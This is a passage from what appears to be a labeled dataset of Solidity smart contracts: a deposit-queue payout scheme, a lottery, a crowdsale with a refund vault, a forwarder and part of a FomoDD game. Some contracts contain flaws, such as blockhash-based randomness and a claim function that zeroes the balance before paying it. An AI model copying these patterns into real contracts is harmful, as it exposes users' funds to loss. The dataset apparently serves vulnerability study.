queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/5;
PROMO.transfer(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 659 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
return;
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
return;
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
return;
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 3 && hour == 16) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
return;
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
return;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,794 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CryptoRoboticsToken {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function burn(uint256 value) public;
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
CryptoRoboticsToken public token;
address public reserve_fund = 0x7C88C296B9042946f821F5456bd00EA92a13B3BB;
address preico;
address public wallet;
uint256 public weiRaised;
uint256 public openingTime;
uint256 public closingTime;
bool public isFinalized = false;
uint public currentStage = 0;
uint256 public goal = 1000 ether;
uint256 public cap = 6840 ether;
RefundVault public vault;
uint[4] public stagePrices = [
127500000000000 wei,
135 szabo,
142500000000000 wei,
150 szabo
];
uint[4] internal stageLimits = [
612 ether,
1296 ether,
2052 ether,
2880 ether
];
mapping(address => bool) public referrals;
mapping(address => uint) public reservedTokens;
mapping(address => uint) public reservedRefsTokens;
uint public amountReservedTokens;
uint public amountReservedRefsTokens;
event Finalized();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenReserved(address indexed beneficiary, uint256 value, uint256 amount, address referral);
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
modifier onlyPreIco {
require(msg.sender == preico);
_;
}
function Crowdsale(CryptoRoboticsToken _token) public
{
require(_token != address(0));
wallet = 0x3eb945fd746fbdf641f1063731d91a6fb381ea0f;
token = _token;
openingTime = 1526774400;
closingTime = 1532044800;
vault = new RefundVault(wallet);
}
function () external payable {
buyTokens(msg.sender, address(0));
}
function buyTokens(address _beneficiary, address _ref) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_getTokenAmount(weiAmount,true,_beneficiary,_ref);
}
function reserveTokens(address _ref) public payable {
uint256 weiAmount = msg.value;
_preValidateReserve(msg.sender, weiAmount, _ref);
_getTokenAmount(weiAmount, false,msg.sender,_ref);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen {
require(weiRaised.add(_weiAmount) <= cap);
require(_weiAmount >= stagePrices[currentStage]);
require(_beneficiary != address(0));
}
function _preValidateReserve(address _beneficiary, uint256 _weiAmount, address _ref) internal view {
require(now < openingTime);
require(referrals[_ref]);
require(weiRaised.add(_weiAmount) <= cap);
require(_weiAmount >= stagePrices[currentStage]);
require(_beneficiary != address(0));
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount, address _ref) internal {
_tokenAmount = _tokenAmount * 1 ether;
_deliverTokens(_beneficiary, _tokenAmount);
if (referrals[_ref]) {
uint _refTokens = valueFromPercent(_tokenAmount,10);
token.transferFrom(reserve_fund, _ref, _refTokens);
}
}
function _processReserve(address _beneficiary, uint256 _tokenAmount, address _ref) internal {
_tokenAmount = _tokenAmount * 1 ether;
_reserveTokens(_beneficiary, _tokenAmount);
uint _refTokens = valueFromPercent(_tokenAmount,10);
_reserveRefTokens(_ref, _refTokens);
}
function _reserveTokens(address _beneficiary, uint256 _tokenAmount) internal {
reservedTokens[_beneficiary] = reservedTokens[_beneficiary].add(_tokenAmount);
amountReservedTokens = amountReservedTokens.add(_tokenAmount);
}
function _reserveRefTokens(address _beneficiary, uint256 _tokenAmount) internal {
reservedRefsTokens[_beneficiary] = reservedRefsTokens[_beneficiary].add(_tokenAmount);
amountReservedRefsTokens = amountReservedRefsTokens.add(_tokenAmount);
}
function getReservedTokens() public {
require(now >= openingTime);
require(reservedTokens[msg.sender] > 0);
amountReservedTokens = amountReservedTokens.sub(reservedTokens[msg.sender]);
reservedTokens[msg.sender] = 0;
token.transfer(msg.sender, reservedTokens[msg.sender]);
}
function getRefReservedTokens() public {
require(now >= openingTime);
require(reservedRefsTokens[msg.sender] > 0);
amountReservedRefsTokens = amountReservedRefsTokens.sub(reservedRefsTokens[msg.sender]);
reservedRefsTokens[msg.sender] = 0;
token.transferFrom(reserve_fund, msg.sender, reservedRefsTokens[msg.sender]);
}
function valueFromPercent(uint _value, uint _percent) internal pure returns(uint amount) {
uint _amount = _value.mul(_percent).div(100);
return (_amount);
}
function _getTokenAmount(uint256 _weiAmount, bool _buy, address _beneficiary, address _ref) internal {
uint256 weiAmount = _weiAmount;
uint _tokens = 0;
uint _tokens_price = 0;
uint _current_tokens = 0;
for (uint p = currentStage; p < 4 && _weiAmount >= stagePrices[p]; p++) {
if (stageLimits[p] > 0 ) {
if (stageLimits[p] > _weiAmount) {
_current_tokens = _weiAmount.div(stagePrices[p]);
_tokens_price = _current_tokens.mul(stagePrices[p]);
_weiAmount = _weiAmount.sub(_tokens_price);
_tokens = _tokens.add(_current_tokens);
stageLimits[p] = stageLimits[p].sub(_tokens_price);
break;
} else {
_current_tokens = stageLimits[p].div(stagePrices[p]);
_weiAmount = _weiAmount.sub(stageLimits[p]);
_tokens = _tokens.add(_current_tokens);
stageLimits[p] = 0;
_updateStage();
}
}
}
weiAmount = weiAmount.sub(_weiAmount);
weiRaised = weiRaised.add(weiAmount);
if (_buy) {
_processPurchase(_beneficiary, _tokens, _ref);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, _tokens);
} else {
_processReserve(msg.sender, _tokens, _ref);
emit TokenReserved(msg.sender, weiAmount, _tokens, _ref);
}
if (_weiAmount > 0) {
msg.sender.transfer(_weiAmount);
}
_forwardFunds(weiAmount);
}
function _updateStage() internal {
if ((stageLimits[currentStage] == 0) && currentStage < 3) {
currentStage++;
}
}
function _forwardFunds(uint _weiAmount) internal {
vault.deposit.value(_weiAmount)(msg.sender);
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed() || capReached());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
uint token_balace = token.balanceOf(this);
token_balace = token_balace.sub(amountReservedTokens);
token.burn(token_balace);
}
function addReferral(address _ref) external onlyOwner {
referrals[_ref] = true;
}
function removeReferral(address _ref) external onlyOwner {
referrals[_ref] = false;
}
function setPreIco(address _preico) onlyOwner public {
preico = _preico;
}
function setTokenCountFromPreIco(uint _value) onlyPreIco public{
_value = _value.div(1 ether);
uint weis = _value.mul(stagePrices[3]);
stageLimits[3] = stageLimits[3].add(weis);
cap = cap.add(weis);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
} | 1 | 2,511 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract exForward{
address public owner;
using SafeMath for uint256;
event eth_deposit(address sender, uint amount);
event erc_deposit(address from, address ctr, address to, uint amount);
constructor() public {
owner = 0x50D569aF6610C017ddE11A7F66dF3FE831f989fa;
}
function trToken(address tokenContract, uint tokens) public{
ERC20(tokenContract).transfer(owner, tokens);
emit erc_deposit(msg.sender, tokenContract, owner, tokens);
}
function() payable public {
uint256 ethAmount = msg.value.mul(20);
owner.transfer(ethAmount);
emit eth_deposit(msg.sender,msg.value);
}
} | 1 | 3,397 |
pragma solidity ^0.4.24;
contract FDDEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularFomoDD is FDDEvents {}
contract FomoDD is modularFomoDD {
using SafeMath for *;
using NameFilter for string;
using FDDKeysCalc for uint256;
BankInterfaceForForwarder constant private Bank = BankInterfaceForForwarder(0xfa1678C00299fB685794865eA5e20dB155a8C913);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xA5d855212A9475558ACf92338F6a1df44dFCE908);
address private admin = msg.sender;
string constant public name = "FomoDD";
string constant public symbol = "Chives";
uint256 private rndGap_ = 0;
uint256 private rndExtra_ = 0 minutes;
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => FDDdatasets.Player) public plyr_;
mapping (uint256 => FDDdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (uint256 => FDDdatasets.PlayerRounds)) public plyrRnds;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
uint256 public rID_;
FDDdatasets.Round public round_;
mapping (uint256 => FDDdatasets.Round) public round;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FDDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FDDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FDDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0)
{
FDDdatasets.EventReturns memory _eventData_;
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FDDEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FDDEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
